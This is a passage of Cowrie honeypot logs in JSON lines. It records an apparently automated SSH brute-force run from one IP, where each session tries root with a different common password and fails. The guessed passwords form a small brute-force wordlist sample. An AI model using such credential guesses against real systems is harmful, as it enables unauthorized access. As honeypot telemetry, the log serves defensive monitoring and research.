{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:40.611077Z","src_ip":"60.165.124.241","session":"9600d13e6d72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test123@","message":"login attempt [root/Test123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:41.350679Z","src_ip":"60.165.124.241","session":"9600d13e6d72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:42.598803Z","src_ip":"60.165.124.241","session":"9600d13e6d72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35982,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d8c9f375881","protocol":"ssh","message":"New connection: 60.165.124.241:35982 (10.17.0.5:22) [session: 1d8c9f375881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:42.867639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:42.872328Z","src_ip":"60.165.124.241","session":"1d8c9f375881","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:43.129736Z","src_ip":"60.165.124.241","session":"1d8c9f375881","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rivaldo","message":"login attempt [root/rivaldo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:43.921377Z","src_ip":"60.165.124.241","session":"1d8c9f375881","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:45.179571Z","src_ip":"60.165.124.241","session":"1d8c9f375881","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38812,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb00e244b51c","protocol":"ssh","message":"New connection: 60.165.124.241:38812 (10.17.0.5:22) [session: fb00e244b51c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:45.434262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:45.438799Z","src_ip":"60.165.124.241","session":"fb00e244b51c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:45.695070Z","src_ip":"60.165.124.241","session":"fb00e244b51c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2!QAZXSW@","message":"login attempt [root/1qazxsw2!QAZXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:46.471765Z","src_ip":"60.165.124.241","session":"fb00e244b51c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:47.739367Z","src_ip":"60.165.124.241","session":"fb00e244b51c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41776,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fad53f1a1d9","protocol":"ssh","message":"New connection: 60.165.124.241:41776 (10.17.0.5:22) [session: 6fad53f1a1d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:47.964110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:47.969153Z","src_ip":"60.165.124.241","session":"6fad53f1a1d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:48.218172Z","src_ip":"60.165.124.241","session":"6fad53f1a1d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Paladin","message":"login attempt [root/Paladin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:48.973732Z","src_ip":"60.165.124.241","session":"6fad53f1a1d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:50.216809Z","src_ip":"60.165.124.241","session":"6fad53f1a1d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44684,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5351a749325","protocol":"ssh","message":"New connection: 60.165.124.241:44684 (10.17.0.5:22) [session: a5351a749325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:50.462319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:50.466136Z","src_ip":"60.165.124.241","session":"a5351a749325","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:50.715737Z","src_ip":"60.165.124.241","session":"a5351a749325","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678Aa","message":"login attempt [root/12345678Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:51.479649Z","src_ip":"60.165.124.241","session":"a5351a749325","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.742913722991943,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:52.251022Z","src_ip":"85.103.161.34","session":"dc21a2c419d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:52.734127Z","src_ip":"60.165.124.241","session":"a5351a749325","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47886,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad9a80f3f5ba","protocol":"ssh","message":"New connection: 60.165.124.241:47886 (10.17.0.5:22) [session: ad9a80f3f5ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:52.970727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:52.975466Z","src_ip":"60.165.124.241","session":"ad9a80f3f5ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:53.220867Z","src_ip":"60.165.124.241","session":"ad9a80f3f5ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa102030","message":"login attempt [root/Aa102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:53.974113Z","src_ip":"60.165.124.241","session":"ad9a80f3f5ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:55.230019Z","src_ip":"60.165.124.241","session":"ad9a80f3f5ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50648,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d4558eb5117","protocol":"ssh","message":"New connection: 60.165.124.241:50648 (10.17.0.5:22) [session: 7d4558eb5117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:55.471762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:55.476952Z","src_ip":"60.165.124.241","session":"7d4558eb5117","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:55.720063Z","src_ip":"60.165.124.241","session":"7d4558eb5117","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456qW","message":"login attempt [root/123456qW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:56.450618Z","src_ip":"60.165.124.241","session":"7d4558eb5117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:57.699242Z","src_ip":"60.165.124.241","session":"7d4558eb5117","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53904,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f4dfbba852e","protocol":"ssh","message":"New connection: 60.165.124.241:53904 (10.17.0.5:22) [session: 6f4dfbba852e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:57.944964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:57.949808Z","src_ip":"60.165.124.241","session":"6f4dfbba852e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:58.197102Z","src_ip":"60.165.124.241","session":"6f4dfbba852e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456789@","message":"login attempt [root/Aa123456789@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:58.930334Z","src_ip":"60.165.124.241","session":"6f4dfbba852e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:00.173271Z","src_ip":"60.165.124.241","session":"6f4dfbba852e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56492,"dst_ip":"10.17.0.5","dst_port":22,"session":"7174ed764b88","protocol":"ssh","message":"New connection: 60.165.124.241:56492 (10.17.0.5:22) [session: 7174ed764b88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:00.444021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:00.448747Z","src_ip":"60.165.124.241","session":"7174ed764b88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 